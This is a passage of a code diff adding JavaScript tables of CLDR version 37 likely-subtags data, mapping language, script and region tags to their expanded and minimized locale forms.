+ "und-Jpan": "ja-Jpan-JP",
+ "und-KE": "sw-Latn-KE",
+ "und-KG": "ky-Cyrl-KG",
+ "und-KH": "km-Khmr-KH",
+ "und-KM": "ar-Arab-KM",
+ "und-KP": "ko-Kore-KP",
+ "und-KR": "ko-Kore-KR",
+ "und-KW": "ar-Arab-KW",
+ "und-KZ": "ru-Cyrl-KZ",
+ "und-Kali": "eky-Kali-MM",
+ "und-Kana": "ja-Kana-JP",
+ "und-Khar": "pra-Khar-PK",
+ "und-Khmr": "km-Khmr-KH",
+ "und-Khoj": "sd-Khoj-IN",
+ "und-Kits": "zkt-Kits-CN",
+ "und-Knda": "kn-Knda-IN",
+ "und-Kore": "ko-Kore-KR",
+ "und-Kthi": "bho-Kthi-IN",
+ "und-LA": "lo-Laoo-LA",
+ "und-LB": "ar-Arab-LB",
+ "und-LI": "de-Latn-LI",
+ "und-LK": "si-Sinh-LK",
+ "und-LS": "st-Latn-LS",
+ "und-LT": "lt-Latn-LT",
+ "und-LU": "fr-Latn-LU",
+ "und-LV": "lv-Latn-LV",
+ "und-LY": "ar-Arab-LY",
+ "und-Lana": "nod-Lana-TH",
+ "und-Laoo": "lo-Laoo-LA",
+ "und-Latn-AF": "tk-Latn-AF",
+ "und-Latn-AM": "ku-Latn-AM",
+ "und-Latn-CN": "za-Latn-CN",
+ "und-Latn-CY": "tr-Latn-CY",
+ "und-Latn-DZ": "fr-Latn-DZ",
+ "und-Latn-ET": "en-Latn-ET",
+ "und-Latn-GE": "ku-Latn-GE",
+ "und-Latn-IR": "tk-Latn-IR",
+ "und-Latn-KM": "fr-Latn-KM",
+ "und-Latn-MA": "fr-Latn-MA",
+ "und-Latn-MK": "sq-Latn-MK",
+ "und-Latn-MM": "kac-Latn-MM",
+ "und-Latn-MO": "pt-Latn-MO",
+ "und-Latn-MR": "fr-Latn-MR",
+ "und-Latn-RU": "krl-Latn-RU",
+ "und-Latn-SY": "fr-Latn-SY",
+ "und-Latn-TN": "fr-Latn-TN",
+ "und-Latn-TW": "trv-Latn-TW",
+ "und-Latn-UA": "pl-Latn-UA",
+ "und-Lepc": "lep-Lepc-IN",
+ "und-Limb": "lif-Limb-IN",
+ "und-Lina": "lab-Lina-GR",
+ "und-Linb": "grc-Linb-GR",
+ "und-Lisu": "lis-Lisu-CN",
+ "und-Lyci": "xlc-Lyci-TR",
+ "und-Lydi": "xld-Lydi-TR",
+ "und-MA": "ar-Arab-MA",
+ "und-MC": "fr-Latn-MC",
+ "und-MD": "ro-Latn-MD",
+ "und-ME": "sr-Latn-ME",
+ "und-MF": "fr-Latn-MF",
+ "und-MG": "mg-Latn-MG",
+ "und-MK": "mk-Cyrl-MK",
+ "und-ML": "bm-Latn-ML",
+ "und-MM": "my-Mymr-MM",
+ "und-MN": "mn-Cyrl-MN",
+ "und-MO": "zh-Hant-MO",
+ "und-MQ": "fr-Latn-MQ",
+ "und-MR": "ar-Arab-MR",
+ "und-MT": "mt-Latn-MT",
+ "und-MU": "mfe-Latn-MU",
+ "und-MV": "dv-Thaa-MV",
+ "und-MX": "es-Latn-MX",
+ "und-MY": "ms-Latn-MY",
+ "und-MZ": "pt-Latn-MZ",
+ "und-Mahj": "hi-Mahj-IN",
+ "und-Maka": "mak-Maka-ID",
+ "und-Mand": "myz-Mand-IR",
+ "und-Mani": "xmn-Mani-CN",
+ "und-Marc": "bo-Marc-CN",
+ "und-Medf": "mis-Medf-NG",
+ "und-Mend": "men-Mend-SL",
+ "und-Merc": "xmr-Merc-SD",
+ "und-Mero": "xmr-Mero-SD",
+ "und-Mlym": "ml-Mlym-IN",
+ "und-Modi": "mr-Modi-IN",
+ "und-Mong": "mn-Mong-CN",
+ "und-Mroo": "mro-Mroo-BD",
+ "und-Mtei": "mni-Mtei-IN",
+ "und-Mult": "skr-Mult-PK",
+ "und-Mymr": "my-Mymr-MM",
+ "und-Mymr-IN": "kht-Mymr-IN",
+ "und-Mymr-TH": "mnw-Mymr-TH",
+ "und-NA": "af-Latn-NA",
+ "und-NC": "fr-Latn-NC",
+ "und-NE": "ha-Latn-NE",
+ "und-NI": "es-Latn-NI",
+ "und-NL": "nl-Latn-NL",
+ "und-NO": "nb-Latn-NO",
+ "und-NP": "ne-Deva-NP",
+ "und-Nand": "sa-Nand-IN",
+ "und-Narb": "xna-Narb-SA",
+ "und-Nbat": "arc-Nbat-JO",
+ "und-Newa": "new-Newa-NP",
+ "und-Nkoo": "man-Nkoo-GN",
+ "und-Nshu": "zhx-Nshu-CN",
+ "und-OM": "ar-Arab-OM",
+ "und-Ogam": "sga-Ogam-IE",
+ "und-Olck": "sat-Olck-IN",
+ "und-Orkh": "otk-Orkh-MN",
+ "und-Orya": "or-Orya-IN",
+ "und-Osge": "osa-Osge-US",
+ "und-Osma": "so-Osma-SO",
+ "und-PA": "es-Latn-PA",
+ "und-PE": "es-Latn-PE",
+ "und-PF": "fr-Latn-PF",
+ "und-PG": "tpi-Latn-PG",
+ "und-PH": "fil-Latn-PH",
+ "und-PK": "ur-Arab-PK",
+ "und-PL": "pl-Latn-PL",
+ "und-PM": "fr-Latn-PM",
+ "und-PR": "es-Latn-PR",
+ "und-PS": "ar-Arab-PS",
+ "und-PT": "pt-Latn-PT",
+ "und-PW": "pau-Latn-PW",
+ "und-PY": "gn-Latn-PY",
+ "und-Palm": "arc-Palm-SY",
+ "und-Pauc": "ctd-Pauc-MM",
+ "und-Perm": "kv-Perm-RU",
+ "und-Phag": "lzh-Phag-CN",
+ "und-Phli": "pal-Phli-IR",
+ "und-Phlp": "pal-Phlp-CN",
+ "und-Phnx": "phn-Phnx-LB",
+ "und-Plrd": "hmd-Plrd-CN",
+ "und-Prti": "xpr-Prti-IR",
+ "und-QA": "ar-Arab-QA",
+ "und-QO": "en-Latn-DG",
+ "und-RE": "fr-Latn-RE",
+ "und-RO": "ro-Latn-RO",
+ "und-RS": "sr-Cyrl-RS",
+ "und-RU": "ru-Cyrl-RU",
+ "und-RW": "rw-Latn-RW",
+ "und-Rjng": "rej-Rjng-ID",
+ "und-Rohg": "rhg-Rohg-MM",
+ "und-Runr": "non-Runr-SE",
+ "und-SA": "ar-Arab-SA",
+ "und-SC": "fr-Latn-SC",
+ "und-SD": "ar-Arab-SD",
+ "und-SE": "sv-Latn-SE",
+ "und-SI": "sl-Latn-SI",
+ "und-SJ": "nb-Latn-SJ",
+ "und-SK": "sk-Latn-SK",
+ "und-SM": "it-Latn-SM",
+ "und-SN": "fr-Latn-SN",
+ "und-SO": "so-Latn-SO",
+ "und-SR": "nl-Latn-SR",
+ "und-ST": "pt-Latn-ST",
+ "und-SV": "es-Latn-SV",
+ "und-SY": "ar-Arab-SY",
+ "und-Samr": "smp-Samr-IL",
+ "und-Sarb": "xsa-Sarb-YE",
+ "und-Saur": "saz-Saur-IN",
+ "und-Sgnw": "ase-Sgnw-US",
+ "und-Shaw": "en-Shaw-GB",
+ "und-Shrd": "sa-Shrd-IN",
+ "und-Sidd": "sa-Sidd-IN",
+ "und-Sind": "sd-Sind-IN",
+ "und-Sinh": "si-Sinh-LK",
+ "und-Sogd": "sog-Sogd-UZ",
+ "und-Sogo": "sog-Sogo-UZ",
+ "und-Sora": "srb-Sora-IN",
+ "und-Soyo": "cmg-Soyo-MN",
+ "und-Sund": "su-Sund-ID",
+ "und-Sylo": "syl-Sylo-BD",
+ "und-Syrc": "syr-Syrc-IQ",
+ "und-TD": "fr-Latn-TD",
+ "und-TF": "fr-Latn-TF",
+ "und-TG": "fr-Latn-TG",
+ "und-TH": "th-Thai-TH",
+ "und-TJ": "tg-Cyrl-TJ",
+ "und-TK": "tkl-Latn-TK",
+ "und-TL": "pt-Latn-TL",
+ "und-TM": "tk-Latn-TM",
+ "und-TN": "ar-Arab-TN",
+ "und-TO": "to-Latn-TO",
+ "und-TR": "tr-Latn-TR",
+ "und-TV": "tvl-Latn-TV",
+ "und-TW": "zh-Hant-TW",
+ "und-TZ": "sw-Latn-TZ",
+ "und-Tagb": "tbw-Tagb-PH",
+ "und-Takr": "doi-Takr-IN",
+ "und-Tale": "tdd-Tale-CN",
+ "und-Talu": "khb-Talu-CN",
+ "und-Taml": "ta-Taml-IN",
+ "und-Tang": "txg-Tang-CN",
+ "und-Tavt": "blt-Tavt-VN",
+ "und-Telu": "te-Telu-IN",
+ "und-Tfng": "zgh-Tfng-MA",
+ "und-Tglg": "fil-Tglg-PH",
+ "und-Thaa": "dv-Thaa-MV",
+ "und-Thai": "th-Thai-TH",
+ "und-Thai-CN": "lcp-Thai-CN",
+ "und-Thai-KH": "kdt-Thai-KH",
+ "und-Thai-LA": "kdt-Thai-LA",
+ "und-Tibt": "bo-Tibt-CN",
+ "und-Tirh": "mai-Tirh-IN",
+ "und-UA": "uk-Cyrl-UA",
+ "und-UG": "sw-Latn-UG",
+ "und-UY": "es-Latn-UY",
+ "und-UZ": "uz-Latn-UZ",
+ "und-Ugar": "uga-Ugar-SY",
+ "und-VA": "it-Latn-VA",
+ "und-VE": "es-Latn-VE",
+ "und-VN": "vi-Latn-VN",
+ "und-VU": "bi-Latn-VU",
+ "und-Vaii": "vai-Vaii-LR",
+ "und-WF": "fr-Latn-WF",
+ "und-WS": "sm-Latn-WS",
+ "und-Wara": "hoc-Wara-IN",
+ "und-Wcho": "nnp-Wcho-IN",
+ "und-XK": "sq-Latn-XK",
+ "und-Xpeo": "peo-Xpeo-IR",
+ "und-Xsux": "akk-Xsux-IQ",
+ "und-YE": "ar-Arab-YE",
+ "und-YT": "fr-Latn-YT",
+ "und-Yezi": "ku-Yezi-GE",
+ "und-Yiii": "ii-Yiii-CN",
+ "und-ZW": "sn-Latn-ZW",
+ "und-Zanb": "cmg-Zanb-MN",
+ "unr": "unr-Beng-IN",
+ "unr-Deva": "unr-Deva-NP",
+ "unr-NP": "unr-Deva-NP",
+ "unx": "unx-Beng-IN",
+ "uok": "ema-Latn-ZZ",
+ "ur": "ur-Arab-PK",
+ "uri": "uri-Latn-ZZ",
+ "urt": "urt-Latn-ZZ",
+ "urw": "urw-Latn-ZZ",
+ "usa": "usa-Latn-ZZ",
+ "utr": "utr-Latn-ZZ",
+ "uvh": "uvh-Latn-ZZ",
+ "uvl": "uvl-Latn-ZZ",
+ "uz": "uz-Latn-UZ",
+ "uz-AF": "uz-Arab-AF",
+ "uz-Arab": "uz-Arab-AF",
+ "uz-CN": "uz-Cyrl-CN",
+ "vag": "vag-Latn-ZZ",
+ "vai": "vai-Vaii-LR",
+ "van": "van-Latn-ZZ",
+ "ve": "ve-Latn-ZA",
+ "vec": "vec-Latn-IT",
+ "vep": "vep-Latn-RU",
+ "vi": "vi-Latn-VN",
+ "vic": "vic-Latn-SX",
+ "viv": "viv-Latn-ZZ",
+ "vls": "vls-Latn-BE",
+ "vmf": "vmf-Latn-DE",
+ "vmw": "vmw-Latn-MZ",
+ "vo": "vo-Latn-001",
+ "vot": "vot-Latn-RU",
+ "vro": "vro-Latn-EE",
+ "vun": "vun-Latn-TZ",
+ "vut": "vut-Latn-ZZ",
+ "wa": "wa-Latn-BE",
+ "wae": "wae-Latn-CH",
+ "waj": "waj-Latn-ZZ",
+ "wal": "wal-Ethi-ET",
+ "wan": "wan-Latn-ZZ",
+ "war": "war-Latn-PH",
+ "wbp": "wbp-Latn-AU",
+ "wbq": "wbq-Telu-IN",
+ "wbr": "wbr-Deva-IN",
+ "wci": "wci-Latn-ZZ",
+ "wer": "wer-Latn-ZZ",
+ "wgi": "wgi-Latn-ZZ",
+ "whg": "whg-Latn-ZZ",
+ "wib": "wib-Latn-ZZ",
+ "wiu": "wiu-Latn-ZZ",
+ "wiv": "wiv-Latn-ZZ",
+ "wja": "wja-Latn-ZZ",
+ "wji": "wji-Latn-ZZ",
+ "wls": "wls-Latn-WF",
+ "wmo": "wmo-Latn-ZZ",
+ "wnc": "wnc-Latn-ZZ",
+ "wni": "wni-Arab-KM",
+ "wnu": "wnu-Latn-ZZ",
+ "wo": "wo-Latn-SN",
+ "wob": "wob-Latn-ZZ",
+ "wos": "wos-Latn-ZZ",
+ "wrs": "wrs-Latn-ZZ",
+ "wsg": "wsg-Gong-IN",
+ "wsk": "wsk-Latn-ZZ",
+ "wtm": "wtm-Deva-IN",
+ "wuu": "wuu-Hans-CN",
+ "wuv": "wuv-Latn-ZZ",
+ "wwa": "wwa-Latn-ZZ",
+ "xav": "xav-Latn-BR",
+ "xbi": "xbi-Latn-ZZ",
+ "xco": "xco-Chrs-UZ",
+ "xcr": "xcr-Cari-TR",
+ "xes": "xes-Latn-ZZ",
+ "xh": "xh-Latn-ZA",
+ "xla": "xla-Latn-ZZ",
+ "xlc": "xlc-Lyci-TR",
+ "xld": "xld-Lydi-TR",
+ "xmf": "xmf-Geor-GE",
+ "xmn": "xmn-Mani-CN",
+ "xmr": "xmr-Merc-SD",
+ "xna": "xna-Narb-SA",
+ "xnr": "xnr-Deva-IN",
+ "xog": "xog-Latn-UG",
+ "xon": "xon-Latn-ZZ",
+ "xpr": "xpr-Prti-IR",
+ "xrb": "xrb-Latn-ZZ",
+ "xsa": "xsa-Sarb-YE",
+ "xsi": "xsi-Latn-ZZ",
+ "xsm": "xsm-Latn-ZZ",
+ "xsr": "xsr-Deva-NP",
+ "xwe": "xwe-Latn-ZZ",
+ "yam": "yam-Latn-ZZ",
+ "yao": "yao-Latn-MZ",
+ "yap": "yap-Latn-FM",
+ "yas": "yas-Latn-ZZ",
+ "yat": "yat-Latn-ZZ",
+ "yav": "yav-Latn-CM",
+ "yay": "yay-Latn-ZZ",
+ "yaz": "yaz-Latn-ZZ",
+ "yba": "yba-Latn-ZZ",
+ "ybb": "ybb-Latn-CM",
+ "yby": "yby-Latn-ZZ",
+ "yer": "yer-Latn-ZZ",
+ "ygr": "ygr-Latn-ZZ",
+ "ygw": "ygw-Latn-ZZ",
+ "yi": "yi-Hebr-001",
+ "yko": "yko-Latn-ZZ",
+ "yle": "yle-Latn-ZZ",
+ "ylg": "ylg-Latn-ZZ",
+ "yll": "yll-Latn-ZZ",
+ "yml": "yml-Latn-ZZ",
+ "yo": "yo-Latn-NG",
+ "yon": "yon-Latn-ZZ",
+ "yrb": "yrb-Latn-ZZ",
+ "yre": "yre-Latn-ZZ",
+ "yrl": "yrl-Latn-BR",
+ "yss": "yss-Latn-ZZ",
+ "yua": "yua-Latn-MX",
+ "yue": "yue-Hant-HK",
+ "yue-CN": "yue-Hans-CN",
+ "yue-Hans": "yue-Hans-CN",
+ "yuj": "yuj-Latn-ZZ",
+ "yut": "yut-Latn-ZZ",
+ "yuw": "yuw-Latn-ZZ",
+ "za": "za-Latn-CN",
+ "zag": "zag-Latn-SD",
+ "zdj": "zdj-Arab-KM",
+ "zea": "zea-Latn-NL",
+ "zgh": "zgh-Tfng-MA",
+ "zh": "zh-Hans-CN",
+ "zh-AU": "zh-Hant-AU",
+ "zh-BN": "zh-Hant-BN",
+ "zh-Bopo": "zh-Bopo-TW",
+ "zh-GB": "zh-Hant-GB",
+ "zh-GF": "zh-Hant-GF",
+ "zh-HK": "zh-Hant-HK",
+ "zh-Hanb": "zh-Hanb-TW",
+ "zh-Hant": "zh-Hant-TW",
+ "zh-ID": "zh-Hant-ID",
+ "zh-MO": "zh-Hant-MO",
+ "zh-MY": "zh-Hant-MY",
+ "zh-PA": "zh-Hant-PA",
+ "zh-PF": "zh-Hant-PF",
+ "zh-PH": "zh-Hant-PH",
+ "zh-SR": "zh-Hant-SR",
+ "zh-TH": "zh-Hant-TH",
+ "zh-TW": "zh-Hant-TW",
+ "zh-US": "zh-Hant-US",
+ "zh-VN": "zh-Hant-VN",
+ "zhx": "zhx-Nshu-CN",
+ "zia": "zia-Latn-ZZ",
+ "zkt": "zkt-Kits-CN",
+ "zlm": "zlm-Latn-TG",
+ "zmi": "zmi-Latn-MY",
+ "zne": "zne-Latn-ZZ",
+ "zu": "zu-Latn-ZA",
+ "zza": "zza-Latn-TR",
+};
+
+// Extracted from likelySubtags.xml.
+// Derived from CLDR Supplemental Data, version 37.
+// https://unicode.org/Public/cldr/37/core.zip
+var minLikelySubtags = {
+ "aa-Latn-DJ": "aa-DJ",
+ "aa-Latn-ET": "aa",
+ "aai-Latn-ZZ": "aai",
+ "aak-Latn-ZZ": "aak",
+ "aau-Latn-ZZ": "aau",
+ "ab-Cyrl-GE": "ab",
+ "abi-Latn-ZZ": "abi",
+ "abq-Cyrl-ZZ": "abq",
+ "abr-Latn-GH": "abr",
+ "abt-Latn-ZZ": "abt",
+ "aby-Latn-ZZ": "aby",
+ "acd-Latn-ZZ": "acd",
+ "ace-Latn-ID": "ace",
+ "ach-Latn-UG": "ach",
+ "ada-Latn-GH": "ada",
+ "ade-Latn-ZZ": "ade",
+ "adj-Latn-ZZ": "adj",
+ "ady-Cyrl-RU": "ady",
+ "adz-Latn-ZZ": "adz",
+ "ae-Avst-IR": "ae",
+ "aeb-Arab-TN": "aeb",
+ "aey-Latn-ZZ": "aey",
+ "af-Latn-NA": "af-NA",
+ "af-Latn-ZA": "af",
+ "agc-Latn-ZZ": "agc",
+ "agd-Latn-ZZ": "agd",
+ "agg-Latn-ZZ": "agg",
+ "agm-Latn-ZZ": "agm",
+ "ago-Latn-ZZ": "ago",
+ "agq-Latn-CM": "agq",
+ "aha-Latn-ZZ": "aha",
+ "ahl-Latn-ZZ": "ahl",
+ "aho-Ahom-IN": "aho",
+ "ajg-Latn-ZZ": "ajg",
+ "ak-Latn-GH": "ak",
+ "akk-Xsux-IQ": "akk",
+ "ala-Latn-ZZ": "ala",
+ "ali-Latn-ZZ": "ali",
+ "aln-Latn-XK": "aln",
+ "alt-Cyrl-RU": "alt",
+ "am-Ethi-ET": "am",
+ "amm-Latn-ZZ": "amm",
+ "amn-Latn-ZZ": "amn",
+ "amo-Latn-NG": "amo",
+ "amp-Latn-ZZ": "amp",
+ "an-Latn-ES": "an",
+ "anc-Latn-ZZ": "anc",
+ "ank-Latn-ZZ": "ank",
+ "ann-Latn-ZZ": "ann",
+ "any-Latn-ZZ": "any",
+ "aoj-Latn-ZZ": "aoj",
+ "aom-Latn-ZZ": "aom",
+ "aoz-Latn-ID": "aoz",
+ "apc-Arab-ZZ": "apc",
+ "apd-Arab-TG": "apd",
+ "ape-Latn-ZZ": "ape",
+ "apr-Latn-ZZ": "apr",
+ "aps-Latn-ZZ": "aps",
+ "apz-Latn-ZZ": "apz",
+ "ar-Arab-AE": "ar-AE",
+ "ar-Arab-BH": "ar-BH",
+ "ar-Arab-DZ": "ar-DZ",
+ "ar-Arab-EG": "ar",
+ "ar-Arab-EH": "ar-EH",
+ "ar-Arab-IQ": "ar-IQ",
+ "ar-Arab-JO": "ar-JO",
+ "ar-Arab-KM": "ar-KM",
+ "ar-Arab-KW": "ar-KW",
+ "ar-Arab-LB": "ar-LB",
+ "ar-Arab-LY": "ar-LY",
+ "ar-Arab-MA": "ar-MA",
+ "ar-Arab-MR": "ar-MR",
+ "ar-Arab-OM": "ar-OM",
+ "ar-Arab-PS": "ar-PS",
+ "ar-Arab-QA": "ar-QA",
+ "ar-Arab-SA": "ar-SA",
+ "ar-Arab-SD": "ar-SD",
+ "ar-Arab-SY": "ar-SY",
+ "ar-Arab-TN": "ar-TN",
+ "ar-Arab-YE": "ar-YE",
+ "arc-Armi-IR": "arc",
+ "arc-Elym-IR": "arc-Elym",
+ "arc-Nbat-JO": "arc-Nbat",
+ "arc-Palm-SY": "arc-Palm",
+ "arh-Latn-ZZ": "arh",
+ "arn-Latn-CL": "arn",
+ "aro-Latn-BO": "aro",
+ "arq-Arab-DZ": "arq",
+ "ars-Arab-SA": "ars",
+ "ary-Arab-MA": "ary",
+ "arz-Arab-EG": "arz",
+ "as-Beng-IN": "as",
+ "asa-Latn-TZ": "asa",
+ "ase-Sgnw-US": "ase",
+ "asg-Latn-ZZ": "asg",
+ "aso-Latn-ZZ": "aso",
+ "ast-Latn-ES": "ast",
+ "ata-Latn-ZZ": "ata",
+ "atg-Latn-ZZ": "atg",
+ "atj-Latn-CA": "atj",
+ "auy-Latn-ZZ": "auy",
+ "av-Cyrl-RU": "av",
+ "avl-Arab-ZZ": "avl",
+ "avn-Latn-ZZ": "avn",
+ "avt-Latn-ZZ": "avt",
+ "avu-Latn-ZZ": "avu",
+ "awa-Deva-IN": "awa",
+ "awb-Latn-ZZ": "awb",
+ "awo-Latn-ZZ": "awo",
+ "awx-Latn-ZZ": "awx",
+ "ay-Latn-BO": "ay",
+ "ayb-Latn-ZZ": "ayb",
+ "az-Arab-IQ": "az-IQ",
+ "az-Arab-IR": "az-IR",
+ "az-Arab-TR": "az-Arab-TR",
+ "az-Cyrl-RU": "az-RU",
+ "az-Latn-AZ": "az",
+ "ba-Cyrl-RU": "ba",
+ "bal-Arab-PK": "bal",
+ "ban-Bali-ID": "ban-Bali",
+ "ban-Latn-ID": "ban",
+ "bap-Deva-NP": "bap",
+ "bar-Latn-AT": "bar",
+ "bas-Latn-CM": "bas",
+ "bav-Latn-ZZ": "bav",
+ "bax-Bamu-CM": "bax",
+ "bba-Latn-ZZ": "bba",
+ "bbb-Latn-ZZ": "bbb",
+ "bbc-Batk-ID": "bbc-Batk",
+ "bbc-Latn-ID": "bbc",
+ "bbd-Latn-ZZ": "bbd",
+ "bbj-Latn-CM": "bbj",
+ "bbp-Latn-ZZ": "bbp",
+ "bbr-Latn-ZZ": "bbr",
+ "bcf-Latn-ZZ": "bcf",
+ "bch-Latn-ZZ": "bch",
+ "bci-Latn-CI": "bci",
+ "bcm-Latn-ZZ": "bcm",
+ "bcn-Latn-ZZ": "bcn",
+ "bco-Latn-ZZ": "bco",
+ "bcq-Ethi-ZZ": "bcq",
+ "bcu-Latn-ZZ": "bcu",
+ "bdd-Latn-ZZ": "bdd",
+ "be-Cyrl-BY": "be",
+ "bef-Latn-ZZ": "bef",
+ "beh-Latn-ZZ": "beh",
+ "bej-Arab-SD": "bej",
+ "bem-Latn-ZM": "bem",
+ "bet-Latn-ZZ": "bet",
+ "bew-Latn-ID": "bew",
+ "bex-Latn-ZZ": "bex",
+ "bez-Latn-TZ": "bez",
+ "bfd-Latn-CM": "bfd",
+ "bfq-Taml-IN": "bfq",
+ "bft-Arab-PK": "bft",
+ "bfy-Deva-IN": "bfy",
+ "bg-Cyrl-BG": "bg",
+ "bg-Cyrl-RO": "bg-RO",
+ "bgc-Deva-IN": "bgc",
+ "bgn-Arab-PK": "bgn",
+ "bgx-Grek-TR": "bgx",
+ "bhb-Deva-IN": "bhb",
+ "bhg-Latn-ZZ": "bhg",
+ "bhi-Deva-IN": "bhi",
+ "bhl-Latn-ZZ": "bhl",
+ "bho-Deva-IN": "bho",
+ "bho-Deva-MU": "bho-MU",
+ "bho-Kthi-IN": "bho-Kthi",
+ "bhy-Latn-ZZ": "bhy",
+ "bi-Latn-VU": "bi",
+ "bib-Latn-ZZ": "bib",
+ "big-Latn-ZZ": "big",
+ "bik-Latn-PH": "bik",
+ "bim-Latn-ZZ": "bim",
+ "bin-Latn-NG": "bin",
+ "bio-Latn-ZZ": "bio",
+ "biq-Latn-ZZ": "biq",
+ "bjh-Latn-ZZ": "bjh",
+ "bji-Ethi-ZZ": "bji",
+ "bjj-Deva-IN": "bjj",
+ "bjn-Latn-ID": "bjn",
+ "bjo-Latn-ZZ": "bjo",
+ "bjr-Latn-ZZ": "bjr",
+ "bjt-Latn-SN": "bjt",
+ "bjz-Latn-ZZ": "bjz",
+ "bkc-Latn-ZZ": "bkc",
+ "bkm-Latn-CM": "bkm",
+ "bkq-Latn-ZZ": "bkq",
+ "bku-Buhd-PH": "bku-Buhd",
+ "bku-Latn-PH": "bku",
+ "bkv-Latn-ZZ": "bkv",
+ "blt-Tavt-VN": "blt",
+ "bm-Latn-ML": "bm",
+ "bmh-Latn-ZZ": "bmh",
+ "bmk-Latn-ZZ": "bmk",
+ "bmq-Latn-ML": "bmq",
+ "bmu-Latn-ZZ": "bmu",
+ "bn-Beng-BD": "bn",
+ "bng-Latn-ZZ": "bng",
+ "bnm-Latn-ZZ": "bnm",
+ "bnp-Latn-ZZ": "bnp",
+ "bo-Marc-CN": "bo-Marc",
+ "bo-Tibt-CN": "bo",
+ "boj-Latn-ZZ": "boj",
+ "bom-Latn-ZZ": "bom",
+ "bon-Latn-ZZ": "bon",
+ "bpy-Beng-IN": "bpy",
+ "bqc-Latn-ZZ": "bqc",
+ "bqi-Arab-IR": "bqi",
+ "bqp-Latn-ZZ": "bqp",
+ "bqv-Latn-CI": "bqv",
+ "br-Latn-FR": "br",
+ "bra-Deva-IN": "bra",
+ "brh-Arab-PK": "brh",
+ "brx-Deva-IN": "brx",
+ "brz-Latn-ZZ": "brz",
+ "bs-Latn-BA": "bs",
+ "bsj-Latn-ZZ": "bsj",
+ "bsq-Bass-LR": "bsq",
+ "bss-Latn-CM": "bss",
+ "bst-Ethi-ZZ": "bst",
+ "bto-Latn-PH": "bto",
+ "btt-Latn-ZZ": "btt",
+ "btv-Deva-PK": "btv",
+ "bua-Cyrl-RU": "bua",
+ "buc-Latn-YT": "buc",
+ "bud-Latn-ZZ": "bud",
+ "bug-Bugi-ID": "bug-Bugi",
+ "bug-Latn-ID": "bug",
+ "buk-Latn-ZZ": "buk",
+ "bum-Latn-CM": "bum",
+ "buo-Latn-ZZ": "buo",
+ "bus-Latn-ZZ": "bus",
+ "buu-Latn-ZZ": "buu",
+ "bvb-Latn-GQ": "bvb",
+ "bwd-Latn-ZZ": "bwd",
+ "bwr-Latn-ZZ": "bwr",
+ "bxh-Latn-ZZ": "bxh",
+ "bye-Latn-ZZ": "bye",
+ "byn-Ethi-ER": "byn",
+ "byr-Latn-ZZ": "byr",
+ "bys-Latn-ZZ": "bys",
+ "byv-Latn-CM": "byv",
+ "byx-Latn-ZZ": "byx",
+ "bza-Latn-ZZ": "bza",
+ "bze-Latn-ML": "bze",
+ "bzf-Latn-ZZ": "bzf",
+ "bzh-Latn-ZZ": "bzh",
+ "bzw-Latn-ZZ": "bzw",
+ "ca-Latn-AD": "ca-AD",
+ "ca-Latn-ES": "ca",
+ "cad-Latn-US": "cad",
+ "can-Latn-ZZ": "can",
+ "cbj-Latn-ZZ": "cbj",
+ "cch-Latn-NG": "cch",
+ "ccp-Cakm-BD": "ccp",
+ "ce-Cyrl-RU": "ce",
+ "ceb-Latn-PH": "ceb",
+ "cfa-Latn-ZZ": "cfa",
+ "cgg-Latn-UG": "cgg",
+ "ch-Latn-GU": "ch",
+ "chk-Latn-FM": "chk",
+ "chm-Cyrl-RU": "chm",
+ "cho-Latn-US": "cho",
+ "chp-Latn-CA": "chp",
+ "chr-Cher-US": "chr",
+ "cic-Latn-US": "cic",
+ "cja-Arab-KH": "cja",
+ "cjm-Cham-VN": "cjm",
+ "cjv-Latn-ZZ": "cjv",
+ "ckb-Arab-IQ": "ckb",
+ "ckl-Latn-ZZ": "ckl",
+ "cko-Latn-ZZ": "cko",
+ "cky-Latn-ZZ": "cky",
+ "cla-Latn-ZZ": "cla",
+ "cme-Latn-ZZ": "cme",
+ "cmg-Soyo-MN": "cmg",
+ "cmg-Zanb-MN": "cmg-Zanb",
+ "co-Latn-FR": "co",
+ "cop-Copt-EG": "cop",
+ "cps-Latn-PH": "cps",
+ "cr-Cans-CA": "cr",
+ "crh-Cyrl-UA": "crh",
+ "crj-Cans-CA": "crj",
+ "crk-Cans-CA": "crk",
+ "crl-Cans-CA": "crl",
+ "crm-Cans-CA": "crm",
+ "crs-Latn-SC": "crs",
+ "cs-Latn-CZ": "cs",
+ "csb-Latn-PL": "csb",
+ "csw-Cans-CA": "csw",
+ "ctd-Pauc-MM": "ctd",
+ "cu-Cyrl-RU": "cu",
+ "cu-Glag-BG": "cu-Glag",
+ "cv-Cyrl-RU": "cv",
+ "cy-Latn-GB": "cy",
+ "da-Latn-DK": "da",
+ "dad-Latn-ZZ": "dad",
+ "daf-Latn-ZZ": "daf",
+ "dag-Latn-ZZ": "dag",
+ "dah-Latn-ZZ": "dah",
+ "dak-Latn-US": "dak",
+ "dar-Cyrl-RU": "dar",
+ "dav-Latn-KE": "dav",
+ "dbd-Latn-ZZ": "dbd",
+ "dbq-Latn-ZZ": "dbq",
+ "dcc-Arab-IN": "dcc",
+ "ddn-Latn-ZZ": "ddn",
+ "de-Latn-AT": "de-AT",
+ "de-Latn-CH": "de-CH",
+ "de-Latn-DE": "de",
+ "de-Latn-EZ": "de-EZ",
+ "de-Latn-LI": "de-LI",
+ "ded-Latn-ZZ": "ded",
+ "den-Latn-CA": "den",
+ "dga-Latn-ZZ": "dga",
+ "dgh-Latn-ZZ": "dgh",
+ "dgi-Latn-ZZ": "dgi",
+ "dgl-Arab-ZZ": "dgl",
+ "dgr-Latn-CA": "dgr",
+ "dgz-Latn-ZZ": "dgz",
+ "dia-Latn-ZZ": "dia",
+ "dje-Latn-NE": "dje",
+ "dnj-Latn-CI": "dnj",
+ "dob-Latn-ZZ": "dob",
+ "doi-Arab-IN": "doi",
+ "doi-Dogr-IN": "doi-Dogr",
+ "doi-Takr-IN": "doi-Takr",
+ "dop-Latn-ZZ": "dop",
+ "dow-Latn-ZZ": "dow",
+ "dri-Latn-ZZ": "dri",
+ "drs-Ethi-ZZ": "drs",
+ "dsb-Latn-DE": "dsb",
+ "dtm-Latn-ML": "dtm",
+ "dtp-Latn-MY": "dtp",
+ "dts-Latn-ZZ": "dts",
+ "dty-Deva-NP": "dty",
+ "dua-Latn-CM": "dua",
+ "duc-Latn-ZZ": "duc",
+ "dud-Latn-ZZ": "dud",
+ "dug-Latn-ZZ": "dug",
+ "dv-Diak-MV": "dv-Diak",
+ "dv-Thaa-MV": "dv",
+ "dva-Latn-ZZ": "dva",
+ "dww-Latn-ZZ": "dww",
